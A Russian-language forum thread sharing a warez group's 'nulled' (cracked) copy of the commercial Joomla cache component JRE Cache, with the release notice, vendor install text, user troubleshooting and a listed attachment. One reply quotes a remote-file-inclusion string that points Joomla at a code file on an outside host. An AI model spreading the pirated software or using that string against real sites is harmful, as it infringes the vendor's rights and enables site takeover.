Компонент JRE Cache v3.0 (TKT)

TBK

Создатель
Регистрация
3 Янв 2008
Сообщения
20
Реакции
49
Код:
ooooooooooooo oooo				  
8'   888   `8 `888				  
	 888	   888 .oo.	.ooooo.  
	 888	   888P"Y88b  d88' `88b 
	 888	   888   888  888ooo888 
	 888	   888   888  888	.o 
	o888o	 o888o o888o `Y8bod8P' 
									
									
									
oooo	oooo			  o8o			 oooo			.			
`888   .8P'			   `"'			 `888		  .o8			
 888  d8'	ooo. .oo.   oooo   .oooooooo  888 .oo.   .o888oo  .oooo.o 
 88888[	  `888P"Y88b  `888  888' `88b   888P"Y88b	888   d88(  "8 
 888`88b.	 888   888   888  888   888   888   888	888   `"Y88b.  
 888  `88b.   888   888   888  `88bod8P'   888   888	888 . o.  )88b 
o888o  o888o o888o o888o o888o `8oooooo.  o888o o888o   "888" 8""888P' 
							   d"	 YD							   
							   "Y88888P'							   
																	   
ooooooooooooo										oooo					 
8'   888   `8										`888					 
	 888	   .ooooo.  ooo. .oo.  .oo.   oo.ooooo.   888   .oooo.   oooo d8b 
	 888	  d88' `88b `888P"Y88bP"Y88b   888' `88b  888  `P  )88b  `888""8P 
	 888	  888ooo888  888   888   888   888   888  888   .oP"888   888	 
	 888	  888	.o  888   888   888   888   888  888  d8(  888   888	 
	o888o	 `Y8bod8P' o888o o888o o888o  888bod8P' o888o `Y888""8o d888b	
										   888								
										  o888o							   

 

								  ..~?II+?.,,.								
								,,$I$Z$O..?7+.								
						  .	 ,??IOZDD..OI+~~							   
					   ,,,	  ,=II7OZN..77I:								
					   :.,	  ,++=INM8I.77:.+=							  
					 .,,		,?=8N8NDDODZ7?,?							  
					  .,,	   .IIZO8$ZM.$ZI.~:~							 
					  . . .	 .?7$ONM7M=.N$+,,:							 
					   ,. .	 .+7$8NMZN+,O8~?.~,							
						 .	  .~7IO8MZM8~I8+?.?:							
					  . . .	 .~II$MMZMO~I8I=.+?	 ..  .   .			  
					  .~.,.	  ,7I8NM8DD=.O$+.?.,....:.,.:..,..			 
					..,:~,	   ~?I+NMMMM7IOD~.,.,=,...~,::~,,,.			 
				   ..:..,:	   .7ZZMONO?$7$$,..?....,+,.,~,~,,.			 
				 ...+,..?+..,.,....~$$ZODNMD=..$:~........,+=,:.			  
			   ,..==..?$?~.........?+I=N8NOZ.?,,I$?I?ZIIZ~+I~~,:			  
			   .II+.7ZZ?$II~.........$87OZO$DNO$I=+=....$ZZZ+~.:.			 
			  ,:=7Z+$O8ZIZ+ .~=.,?~7ZZ88+IZ8D8ZOO$..:...7II7I....			 
			 ==:77::.....:7~.I. I I?7~,IOO$+77ZI?8=..?:DO=77??..			  
		 ....=??:7D? ,7D88Z.=....,:..?:7DZ..88+..?OZIZ$D$.OII=:,.			 
	   ,.:~~==++7DDNON88OO8.+,I+.......N8M.,..D7.:$.IZO?+7?$++  ,			 
		 .,.....+77D7..~~$I?..IZ+Z::,.DDMMNI.=Z87..IOI.$Z?Z7~ ..:			 
		   .:$Z8ZD8MMM8O7O8O8,.7+I?++MMD8D+=OO...Z...Z?$I.II, .			   
			.IZZNDDNM8??$+.888I8.?D.ZDZ8DDOD$O87I.I~?++I.=~~ ,,..			 
			 :,7NO8MM$?+I,:8O=++I7?$ID8ODMD$DDO+I=~+~+~?.=:.  ...			 
			 ?=I$ZDMMII~=..D$+?+=I=~Z.?+Z?7:$~+~=,,~,..,=:.., ,.			  
			 ~:$Z878MII~?:.DOIO,,..:.IO++I.~.~,:,,....:,.,,   . .			 
			 :,~=?O78+7:~..7O?:.....=7+???,.?...:....,...::   ..			  
			  ,.77II7~:::.:$$?~~,I..=777+=,,.:.......~..:  : ::..			 
				..~II?~.=..OD7....$.=7?+++~~7..:.  ...   ,:.  ...			 
				  :~7+:.~..D8O8...OI:=II?+=$:..~:,:., .,,: .:.,.			  
					+~.,=..Z$OD88MOZIONO$?,?I?+=..,,~	::, .,..			 
					,,,,::.ZZN8NM88D8ZDO$8IO$?+=..:+:  .  .:....			  
					::,,:..DNDMDMZDMN88ONOO8I=$~~+I=:   ,::.. ,:			  
				   ~:,,.=..O8MDDDIDZZ7N77=DZZ$~,:?=~.. . .,..,:... .		  
				  .,:,..~..DDMDD,+M=$$O++,Z7+O$I:~+7?...,...::~.,..,.		 
				  ..=...~..DDO...,7.77?7?,~..I..=$=..~....~??=?~:,~~.		 
				 .,,:,..~..8Z8N:.7:+7++?=,~=.+..+?$.,.=...=?+II~?:.,		  
				 ..~,.,.~..8ZDZ$..=.++?++=.I.~..7OOZO??~++7I.I=.:~.		   
				. .:=,,,~..$O7OO$.,.+++==,,+.,. ZZZ88DO77D7O+7~,:,			
				..?==~.....7D$$$$,..++~~=,=.....O7+O,IZ$OZ?7~,.~,.			
				..=++:.,~..DO8ZD,:..+~++~:=....:7O?.~+8I8?+~7~~,			  
			   ...=?7,....,Z7ODOI,..=~~:~,.....I77++..=8$7$ :::.			  
			  ...~=I?:.,=..8$N8Z$...+~~==......$I8?+~..8~I.=+ ,  .			
			  ...I???,,.=.,Z88NNO...=~=+=.....7I787+:.,$I?~?: ,...			
		   ...,.+7??I.,,~..O8ZON8..,+=+==.....77$$??~..7?~~, ,,..			 
		   ...:.II$OZ,,,=.,D88DM$...=~~~=,...,ODD88=:..I+~~ ,...			  
		  .. :..?IO7Z,,,~.,DDNO8Z...++++~:...$Z8NDN+~..?I+...,.			   
		   ..+..+7OZZ~:,~.:8DNNMZ...I==++:...8ONNDN?:..Z+=,..,..			  
			.~..7Z$$Z::,+.,DZ8MMO...=+~+=:...ODM88NI~..Z$?=..				 
		   .,,..7IOOD,:.~.,DDNN8Z...+~+=+,..,N88MND?+..I7~,..  .			  
	  . .....:..7I7$$,.,~.,8DDND$...+~=~~,...O8NMNN?~..I+I,:				  
		. ...=..Z77DD:,.+.:NDMDZ+...=+~+=,...ZN8MN8I+..II~:,..				
		.. .....7?Z87:,.=.,8NDZZ,...=~+~=,...8OMDDNN7?....I=.. .			  
		..... ..$?I$$?.,+.,NZNNZ....=~+~~....DOMNMDDM$+$,:..:, ..		   
	  .   ......7$ZZ8O,,~.:DDDD8,...=++==....ZDNMMDMMOOI~..:.,  .		   
	   . .......=IO$ZZ,.~.:8D8Z8+...=~~+=....DODNDNMDM8O:.... .  ..		 
		...  ...+?I8O=.,=.:ODDM$~...=~+==....Z88MDDD8MD8:.....   . ..	   
		 .......?IZOO7,.=,,DZ88O:...=~~::....$8D8MMMND8OO........ . .	   
	  . ........?I7ZOO.,+.,NDMD8~...=~=~:....88DDMMNNN88ZO:......:  ..	  
   .  . ........?$7OD8,,+.?OMNNN,...=+==~....$D8MMMMDDDDZ$~~..:,.. ..	   
  .	.. ......I$$DOZ.,+.I888N$.?..~~+=~....I8DDNMMMINDO8$Z+:..., ..	   
	  . .. ... .I$Z88N.,+.7N8NN$~::.=+~:~....I8OD8M~$.$D8DD7+:.:::..		
   .   ........ IOONDM..=.7MNNOO=~=.~=~~~....?III8I:+.$OO8Z?~+,~:=...	   
	   ...... ..ZZZDO8,.,.8DMOD87~~.=~~:,.....II$II~=..7OD87~...,,~. .	  
	   . ......?I7OD8N,~,.D88M8O~~..=~:~,.. ..=,~~.~:.~?ZZ8Z,I.. :..			
		  .....I7$O8DO:.=.OOMNN8~=..+~~::..  .,,,.,,,...ZZZO7:........		  
	   . . ...:$I77$8$,.,.8DDND?,,..:=,~....... .......=?$ZI:: . .~.			
	  ... ....~=I=I:Z7.,. O8OMDZ...,~,.: ..	 .......:~$?$==....,			 
		. ...:?+:,~:II..:.DDNOOZ$~.,~~,. ..  .	   ...:?7II,~.... .		   
	 ...,....=:, . :~. .~.OONOO8Z?..:., .. ... .	 ...,=+=?:....,			 
  .	 .	::........,~.OZDOO$Z.......  . . .	  ...:+II,:,...,.			
   . .   .. ,,...,......:.OOD8O$$....... .....	   ...,?==:.~....			 
 .  . ..	.,.. .....,.~,O$$I7?...				  . .,+?=I,..,:,..		   
  ...  . ...	 . ...,.~ ?Z7?I7...				  ...:,II?,: .+:..		   
. . .  ..	.	.. ...::$??7=...				   ....===I:..,=...		   
 .. . . .. . ... .....=,~.??$~ . .					 ...I=+?+:?~:			 
.  ..  .....   .   ..+I,~ $Z? ...					 . .,I+?~...~,.			
   .		  . ... $$$:~ 7$+.						...:~I+=?=,.. ..		  
   .. .   ...  ...:I7Z$:+.Z$$... . ..		.	   .. .,?I+I++~=:	  .	  
	   .. .... .7$IZ$DO==:II?~.  ...	..	   .. .  ..:~I~= ..::.... .	   
	..  ....~I+Z$8D8$O8.??777~..... . . .... ..  .  .  ...~,,,......, .....  .  
 ..  .. ..+?I7$O78ZDM88=~7?I7~.... .  ... . .  .. .  . .~:=:.=......,. .  ..   .
 .  ...~.~?+7O$8Z8ZOONO8:$7+=,... .., .... . . ..... .,.,~~:...,..... .. . .  ..
 .  . ......... . . ..,~=........ . . .. . .   . ...	. . ......  .. .  ..	
   .  .......  ... ............. . ....  .	. ..	. . .. ..   .	 .   . . 
 




ooooooooo.														 .			
`888   `Y88.													 .o8			
 888   .d88' oooo d8b  .ooooo.   .oooo.o  .ooooo.  ooo. .oo.   .o888oo  .oooo.o 
 888ooo88P'  `888""8P d88' `88b d88(  "8 d88' `88b `888P"Y88b	888   d88(  "8 
 888		  888	 888ooo888 `"Y88b.  888ooo888  888   888	888   `"Y88b.  
 888		  888	 888	.o o.  )88b 888	.o  888   888	888 . o.  )88b 
o888o		d888b	`Y8bod8P' 8""888P' `Y8bod8P' o888o o888o   "888" 8""888P' 




INFORMATION:

NAME: JRE Cache
VERSION: 3.0
TYPE: Joomla Component
SUPPLIER: TKT
NULLIFIER: TKT							   
PACKER: TKT 
TESTED: TKT 
RELEASE: March 17th, 2008									
LANGUAGE: PHP/MySQL
PREVIOUS PROTECTION: NONE								   
PRESENT PROTECTION: NONE
WEBSITE: http://www.joomlatwork.com
AUTHUR: JoomlaAtWork
LICENSE: Commercial
PRICE: €39.00 + TAX = €46
DEMO: NONE
ADDONS: NONE



REQUIREMENTS:

* Joomla 1.0.x, Joomla 1.5.x & Mambo 4.6.x
* PHP 4.1 or Greater
* MySQL 4.1.10 or Greater



PACKAGE CONTAIN:

* com_jrecache_3.0_J15.zip (for Joomla 1.5.x)
* com_jrecache_3.0_J10.zip (for Joomla 1.0.x)
* com_jrecache_3.0_mambo.zip (for Mambo 4.6.x)



DESCRIPTIONS:

Increase the performance of your website with the accelerate component 3.0 (!)

The Joomlatwork cache component is now also available for Mambo 4.6x, Joomla 1.0x series and the Joomla 1.5(!).

We are proud to release the new 3.0 release of the cache component. 
The cache component is now also available for Joomla 1.5 and Mambo 4.6.x. 
The 3.0 release is build from scratch again based on an own code base and libraries and is available for Mambo and 
Joomla websites Version 1.0b of the cache component is still available for Joomla 1.0x serie only or higher. 

Standard out of the box Joomla and Mambo websites generates dynamicly webpages on the user request. 
This means that for each request the specific page must be composed by excecuting PHP code and SQL queries. 
On normal "hosting" environment the generation of a Joomla pages can take up to 0,4 - 1,4 seconds depending
on the hosting environment and the number of components used. For large volume visitor sites this can result into
slow performance of the website. When enabled this component can "generates" pages within 0,02 - 0,001 seconds (depending on your hosting environment).


If you want to boost your performance of your Joomla / Mambo website this component can help you. 


Before buying the component read the next coming paragraphs:

The component actual creates an cache environment around Joomla and Mambo. 
Please notice that this is a different caching mechanism that is default available within Joomla and Mambo: 
The default caching engine still needs to execute a lot of PHP code and SQL code and is therefore slow or will not function correctly.


How is this performance component working?

The basics of the caching engine is simple. When a page is requested by a user the cache components first checks if the specific page request
is within the cache repository. If the page is present within the repository it checks if the cache is still valid, 
based on the time to live configuration parameter. If the page within the cache is vallid it is retrieved from the cache repository and sent to the user.

If the page is not present within the cache or if its no longer valid Joomla will generate the page. 
At the end of the page generation process the output of the request is written to the cache repository (if it's allowed by the filters which can be set within the cache configuration).

Please notice that this cache component is working with other core and third party component as long as these components doesn't alter the index.php file.

The caching mechanism will not work if a user logs in to your website. The cache is then disabled for the specific user until the user environment. 
If a users logs into the Joomla environment (frontend) the cache for the specific user is disabled until the users logs out. 
Actual you can configure the cache engine so that based on specific actions the cache can be disabled and you can enable the cache again also based on specific actions. 
For example the default config is when a user logs in  (= POST action) the cache is disabled for the user until the user logs out (also an action)

The cache component functions almost like a static HTML page, although some php code must be executed to check and validate the cache. 
If a page is within the cache and is valid no SQL queries or an SQL connection is made. 
This means that your pages will shows even if your SQL database is not available (until the cache validation time is expired). 
This can save you a heavily load on your SQL backend environment for Joomla / Mambo

Before we have launched this component we have tested this component throughly within several websites. 
For example the component is now running on the KiKa website (http://www.kika.nl) and has drammaticly increased the performance of the website. 
With sometimes more then  3.000 visitors a day bad performance is no longer an issue. Standard page generation time was arround 0,5 - 5 seconds 
before the cache component was implemented and after the implementation the generation time is arround 0,02 - 0,004 seconds.


What are the "site" effects of the component?

When you apply the component at your website make sure that you are aware of the following:

If you are using 'dynamicly changing content parts' that change on each page request this will not work when you apply the cache component. 
For example when you display the date and time, the number of visitors online or dynamicly rotating banners will not displayed with the correct values. 
The reason for this is that the page is retrieved from the cache repository which represents the state when it was generate and stored within the cache repository. 
If the page is retrieved from the cache be aware that no interaction with the databases is made. If you have performance issues the only solution is to remove these dynamic displays 
or keep the time to live (= how long a cache page is valid) as low as possible.  Also with the use of so called Ajax modules and components the content can be updated as will and the page will be retrieved from the cache.


Compatibility with SEF Patch extended version:

The accelerate component is fully compatibel with the SEF Patch extended version. To make both components work first install the SEF Patch extended version and secondly the accelerate component.


Compatibility with templates and components using cookies:

The cache component also support cookies within the URL cache repository unique key. For example Joomlafish is using a cookie to set the language for display at the end user. 
In this case the URL is the same but the difference in display is made by the cookie. In this case the cookie can be included with the URL to generate a cache page specific for the value of the cookie in combination with the URL. 
Also templates make use of cookies, for example the RocketTheme templates are using cookies for the display settings (larger fonts, etc...). If you have questions about these cookies please check or ask it in our forum. 


Configuration settings: 

Take a look here: http://www.joomlatwork.com/products/components/joomla_mambo_cache_booster.html


Cleaning up the cache repository:

You can clean up the cache repository through the administration panel->Clean up the Cache repository. 
When you select this option you can choose "to delete all files within the cache repository" and "delete the outdated and invallid cache files" 
within the cache repository. With the first option all the files and the records within the SQL database are removed either the cache entry is vallid or not.
The second option only deletes cache entries that are no longer vallid (e.q. purpose is to make diskspace available from cache files that are no longer used). 

From version 1.0b and later  it's also possible to cleanup the cache when specific actions are performed. 
Within the configuration you can apply "rules" for the backend and for the frontend if specific actions are performed.
For example for the backend: if a Joomla content item is saved, deleted or published the cache can be cleared automaticly 
so that the frontend is always up-to-date. When you apply this rule you can set the TTL of the cache to 0 since every updated in the backend (or frontend)
will clear the cache automaticly (if the rule is defined in the cache config).


Overview of the cache repository:

Within this option you can get an overview of the records that are stored within the cache repository. 
Each file that is located within the cache repository is stored within  a SQL table which enables you to manage specific pages within your cache repository. 

Within this view you can add a new "cache" entry and don't allow the specific URL to be cached.

You can also edited an existing URL / cache entry and disables the caching for this spefic URL. 

You can also remove a specific URL from the cache repository if needed. 

Notice: disabled URL's are not removed when you clean up the cache repository within the administration pannel.


Reinstall the index.php file:

When the first installation was not succesfull you can reinstall the needed index.php with this option. 
This is ussualy the case if the index.php could not be replaced at the installation time of the component.
Restore the original index.php file

At installation time a backup of the orginal index.php file is made. With this option you can restore the "orginal" index.php when needed.


Deinstallation of the component:

When you deinstall the component the orginal files are  restored.



INSTALL NOTE:

Installation of the component is simple. You can install the component through the Joomla installer, but make sure that the /index.php and the /administrator/index2.php files 
of your webserver has the permissions to be overwritten by the patch file (set the permission on 666) and make also sure that your root directory of your website (the location where the index.php is) 
and the root of the administrator directory is also writeable.

In the installation process the orginal index.php file in your webserver root is copied to jindex.php and the administrator/index2.php is copied to administrator/jindex2.php then the cache component 
will install the cache index.php file and the administrator/index2.php file. These files will included the original index.php file and the administrator/index2.php file. 

If you get a permission error at installation time you can install the component simply by your self with a FTP program. Therefor perform the following steps:

1. rename your /index.php file  into /jindex.php
2. copy the  /administrator/components/com_jrecache/install_files/index.php to /index.php file
3. rename your /administrator/index2.php file  /administrator/jindex2.php
4. copy the /administrator/components/com_jrecache/install_files/index2.php to /administrator/index2.php file

After installation you will need to "enable" the cache through the configuration panel. 
When you enable the cache make sure that the 'default' settings are correct. For example the component uses the default location of your website configuration file, 
but if this is located on a different location due to security reasons correct the path in the configuration setting.

Within the Administration panel you can administrate the behauviour of the cache repository.



GREETINGS:

Greetings to MAFiASCRiPTS, iAG, DGT, SharerzTeam and all other out there...


JRE Cache 3.0 is the same as Joomla Performance Booster 3.0


Links:
 
ИМХО в Joomla 1.5 кеширование довольно таки нормально сделано, просто потрудится его включить и проставить всем модулям нужное время кеширования не так уж и сложно всеравно что настраивать отдельный компонент =).
 
Поставил на Joomla 1.5.3 - не отображается кирилица, вместо неё ироглифы, отключаю - всё нормально!
Кто нибудь зеает в чём дело?

Ставил на Joostina 1.1.3 - работает нормально
 
Подскажите как настроить JRE Cache v3.0 (TKT),
а именно как не кэшировать следующие компоненты:
- форумы
- компоненты с собственным кэшем
- ленты новостей, модули последних обсуждений и т.п.
 
Значит во-первых читаем это -

Во-вторых, этот компонент не годится, если Вы используете динамический контент (форум, магазин, чат часто обновляемые новости и т.д.), так как смысл этого компонента не в кэшировании отдельной части сайта (читай - модуля, компонента), а кэшировании всей страницы сайта.

Теперь по пунктам:

- форумы
Не годится
- компоненты с собственным кэшем
Собственный кеш не играет никакой роди при врубленном Джре кеше, так как кэшируется вся страница
- ленты новостей, модули последних обсуждений и т.п.
Единственный вариант, исключать эти компоненты из кеширования путем прописывания частей ссылок в поле Enter URL parts that may not be cached: используя для них свой или сторонний кеш. Или выставить небольшое время жизни кеша :/


Настроить очень просто.
Cache time to live: время жизни кэша. Если поставить 0, то кеш будет жить вечно (GODMOD ON :D)
Enable automatic garbage collection: Автоматическая отчистка кеша. Да/НЕТ Примечание - эта функция чистит только устаревшей кеш.
Garbage collection time schedule: Ставим время. Примечание - эта функция чистит только устаревшый кеш.
Enable compressed cache storage: Сжимать кеш Да/НЕТ. Если на хосте места много, а фактического контента на сайте мало, можно и не врубать.
Use GZIP output page Compression: Использовать GZIP
Enter URL parts that may not be cached: Если нужно, запретить кеш определенных страниц, то сдесь прописываем части схожих ссылок страницы/компонента. Например, для виртумарта, это будет, навскидку - index.php?page=shop.browse или другие

Ну и стоит отметить новинку в серии:

Drop http hack try requests: - сбрасывает атаки типа
Код:
products/free_products_for_joomla/?mosConfig_absolute_path=http://www.xxxx.com/shop/data/id.txt?

ЗЫ: Кто бы что не говорил, это кеш №1 для статичных или не часто изменяемых сайтов :)
 
А какой кэш для более динамичных и часто изменяемых ставить?

блин, ну ладно я бы этим довольствовался, ну оно ж па*ло на 1.5 кривуляки место букв показует, ну чё никто не лечил это, ставить джумлу 1.5 без мошного кэша этож самоубийство, и в первую очередь своего сервера
 
На младшую версию 1.0.8 пока тоже вставать не хочет... скуль плюется. А вообще третья версия сильно отличается от второй? Гибкими настройками? Потому что та помогает до определенного предела и не особо представляю, куда еще кэш расширять.
 
А какой кэш для более динамичных и часто изменяемых ставить?

блин, ну ладно я бы этим довольствовался, ну оно ж па*ло на 1.5 кривуляки место букв показует, ну чё никто не лечил это, ставить джумлу 1.5 без мошного кэша этож самоубийство, и в первую очередь своего сервера

Попробуй поставить вот это может поможет:



Штука тоже классная, кэширует запросы к базе. Пробовал ее ставить когда-то, но были проблемы с совместимостью с JoomFish

ЗЫ: А у кого есть и проблемы на версиях 1.0.х советую поставить PageCache

 
Вышло обновление. Версия 3.2 В архиве ещё два архива, версия под 1.0 и 1.5

На 1.0 у меня компанент нормально встал. Только как я его включаю, на сайте не могут авторизоваться пользователи... Пишет у вас нет прав просматривать...

У них на офсайте что то написано, но я не смог разобраться

What happens for the users that are loggin in?

The cache is not used when a user logs into the system and will be bypassed automaticly. The logged in user is automaticly detected and the cache is bypassed until the user logs out the system. You don't have to define the actions any longer since the latest cache release (from 21 juni 2008) automaticly detects when a user is logged on.
 

Вложения

  • jre3.2.zip
    197,6 KB · Просмотры: 37
Назад
Сверху